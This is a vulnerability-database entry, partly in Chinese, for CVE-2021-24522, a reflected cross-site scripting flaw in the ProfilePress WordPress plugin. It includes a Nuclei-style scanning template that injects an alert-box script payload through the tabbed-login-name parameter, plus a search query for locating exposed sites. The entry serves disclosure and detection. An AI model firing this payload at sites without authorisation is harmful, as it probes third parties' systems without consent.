CVE-2021-24522: ProfilePress < 3.1.11 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: ProfilePress | POC: 已公开

漏洞描述

The ProfilePress plugin for WordPress before 3.1.11 is vulnerable to unauthenticated reflected cross-site scripting (XSS) via the tabbed login/register widget due to improper escaping of user input. Attackers can inject arbitrary JavaScript via the tabbed-login-name parameter.

PoC代码[已公开]

id: CVE-2021-24522

info:
  name: ProfilePress < 3.1.11 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The ProfilePress plugin for WordPress before 3.1.11 is vulnerable to unauthenticated reflected cross-site scripting (XSS) via the tabbed login/register widget due to improper escaping of user input. Attackers can inject arbitrary JavaScript via the tabbed-login-name parameter.
  remediation: |
    Update the ProfilePress plugin to version 3.1.11 or later.
  reference:
    - https://wpscan.com/vulnerability/25b51add-197c-4aff-b1a8-b92fb11d8697/
    - https://plugins.trac.wordpress.org/changeset/2561271/wp-user-avatar
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24522
  classification:
    cve-id: CVE-2021-24522
    cwe-id: CWE-79
    epss-score: 0.00525
    epss-percentile: 0.66123
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 5.4
  metadata:
    max-request: 2
    fofa-query: body="wp-content/plugins/wp-user-avatar"
  tags: cve,cve2021,wordpress,wp,wp-plugin,wp-user-avatar,profilepress,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - 'wp-user-avatar'
        internal: true

  - raw:
      - |
        GET {{path}}/?tabbed-login-name="><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - /
        - /wp-login
        - /wp-login.php

    host-redirects: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c0be0e33ce9866780d6b2b6a1d1d3c00b63a62f9e61a1017a35bc422066bb1aa02201d6eb7d14675f48b5526cb75100240afeeb514ecca253461320e0fbb8577bb57:922c64590222798bb761d5b6d8e72950

相关漏洞推荐